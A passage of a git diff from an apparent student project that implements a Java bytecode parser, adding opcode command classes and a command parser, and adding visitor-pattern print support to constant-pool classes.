+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java b/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..9a4be8a37a
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,179 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		
+		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
+			throw new RuntimeException("the orignal code is not correct");
+
+		}
+		
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+		codes = codes.toUpperCase();
+		CommandIterator iter = new CommandIterator(codes);
+		
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				
+				NewObjectCmd cmd = new NewObjectCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				
+				GetFieldCmd cmd = new GetFieldCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				
+				PutFieldCmd cmd = new PutFieldCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile,opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				
+				LdcCmd cmd = new LdcCmd(clzFile,opCode);
+				
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				
+				BiPushCmd cmd = new BiPushCmd(clzFile,opCode);
+				
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
+			}
+			
+			calculateOffset(cmds);
+			
+			
+		}
+		
+		
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+
+		
+		return result;
+	}
+
+	private static void calculateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java b/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
index 4b593e7347..b6ddbad601 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class ClassInfo extends ConstantInfo {
 	private int type = ConstantInfo.CLASS_INFO;
 	private int utf8Index;
@@ -8,6 +10,17 @@ public ClassInfo(ConstantPool pool) {
 		super(pool);
 	}
 
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
 	public int getUtf8Index() {
 		return utf8Index;
 	}
@@ -16,13 +29,9 @@ public void setUtf8Index(int utf8Index) {
 		this.utf8Index = utf8Index;
 	}
 
-	public int getType() {
-		return type;
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);		
 	}
 
-	public String getClassName() {
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
-		return utf8Info.getValue();
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java b/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
index 96845046b3..a2d0153f93 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public abstract class ConstantInfo {
 	public static final int UTF8_INFO = 1;
 	public static final int FLOAT_INFO = 4;
@@ -19,14 +21,16 @@ public ConstantInfo(ConstantPool pool) {
 		pool.addConstantInfo(this);
 	}
 
-	public abstract int getType();
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
 
 	public ConstantPool getConstantPool() {
 		return constantPool;
 	}
 
-	public ConstantInfo getConstantInfo(int index) {
-		return this.constantPool.getConstantInfo(index);
-	}
+	public abstract int getType();
+
+	public abstract void accept(PrintVisitor visitor);
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java b/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
index 95c44dde8f..40f95c7d77 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
@@ -21,12 +21,17 @@ public ConstantInfo getConstantInfo(int index) {
 		//System.out.println(this.constantInfos.get(index));
 		return this.constantInfos.get(index);
 	}
+	
+	public List<ConstantInfo> getConstantInfos() {
 
-	public String getUTF8String(int index) {
-		return ((UTF8Info) this.constantInfos.get(index)).getValue();
+		return constantInfos;
 	}
 
-	public Object getSize() {
+	public int getSize() {
 		return this.constantInfos.size() - 1;
 	}
+
+	public String getUTF8String(int index) {
+		return ((UTF8Info) this.constantInfos.get(index)).getValue();
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java b/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
index e9f34e550c..7e353c3009 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class FieldRefInfo extends ConstantInfo {
 	private int type = ConstantInfo.FIELD_INFO;
 	private int classInfoIndex;
@@ -9,33 +11,10 @@ public FieldRefInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public int getType() {
-		return type;
-	}
-
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
 
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-
-	public String toString() {
-
-		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-
-		return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
-	}
-
 	public String getClassName() {
 
 		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
@@ -55,4 +34,34 @@ public String getFieldType() {
 		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	@Override
+	public String toString() {
+
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+		return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+	}
+
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);		
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
index d58de16f72..05882cd5f2 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class MethodRefInfo extends ConstantInfo {
 
 	private int type = ConstantInfo.METHOD_INFO;
@@ -11,31 +13,10 @@ public MethodRefInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public int getType() {
-		return type;
-	}
-
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
 
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-
-	public String toString() {
-
-		return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
-	}
-
 	public String getClassName() {
 		ConstantPool pool = this.getConstantPool();
 		ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
@@ -48,10 +29,38 @@ public String getMethodName() {
 		return typeInfo.getName();
 	}
 
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
 	public String getParamAndReturnType() {
 		ConstantPool pool = this.getConstantPool();
 		NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
 
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	@Override
+	public String toString() {
+
+		return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+	}
+	
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);		
+	}
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index a792e2dc13..78dbe514b3 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class NameAndTypeInfo extends ConstantInfo {
 	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
 
@@ -14,35 +16,42 @@ public int getIndex1() {
 		return index1;
 	}
 
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-
 	public int getIndex2() {
 		return index2;
 	}
 
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-
-	public int getType() {
-		return type;
-	}
-
 	public String getName() {
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
 		return utf8Info1.getValue();
 	}
 
+	@Override
+	public int getType() {
+		return type;
+	}
+
 	public String getTypeInfo() {
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
 		return utf8Info2.getValue();
 	}
 
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+
+	@Override
 	public String toString() {
 		return "(" + getName() + "," + getTypeInfo() + ")";
 	}
+	
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);		
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java b/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
index 7d1abf7699..a787901905 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class NullConstantInfo extends ConstantInfo {
 
 	public NullConstantInfo() {
@@ -11,4 +13,13 @@ public int getType() {
 		return -1;
 	}
 
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);
+		
+	}
+	
+	
+	
+
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java b/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
index 0ea1f6bdac..f713523450 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class StringInfo extends ConstantInfo {
 	private int type = ConstantInfo.STRING_INFO;
 	private int index;
@@ -8,20 +10,28 @@ public StringInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public int getType() {
-		return type;
-	}
-
 	public int getIndex() {
 		return index;
 	}
 
+	@Override
+	public int getType() {
+		return type;
+	}
+
 	public void setIndex(int index) {
 		this.index = index;
 	}
 
+	@Override
 	public String toString() {
 		return this.getConstantPool().getUTF8String(index);
 	}
+	
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);
+		
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java b/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
index a7e88969a4..f0e548debf 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/UTF8Info.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.constant;
 
+import com.coderising.jvm.print.PrintVisitor;
+
 public class UTF8Info extends ConstantInfo {
 	private int type = ConstantInfo.UTF8_INFO;
 	private int length;
@@ -13,12 +15,21 @@ public int getLength() {
 		return length;
 	}
 
+	@Override
+	public int getType() {
+		return type;
+	}
+
+	public String getValue() {
+		return value;
+	}
+
 	public void setLength(int length) {
 		this.length = length;
 	}
 
-	public int getType() {
-		return type;
+	public void setValue(String value) {
+		this.value = value;
 	}
 
 	@Override
@@ -26,12 +37,11 @@ public String toString() {
 		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
 	}
 
-	public String getValue() {
-		return value;
+	@Override
+	public void accept(PrintVisitor visitor) {
+		visitor.visit(this);
+		
 	}
 
-	public void setValue(String value) {
-		this.value = value;
-	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/field/Field.java b/group12/382266293/src/com/coderising/jvm/field/Field.java
index 2b0c549685..1349de930d 100644
--- a/group12/382266293/src/com/coderising/jvm/field/Field.java
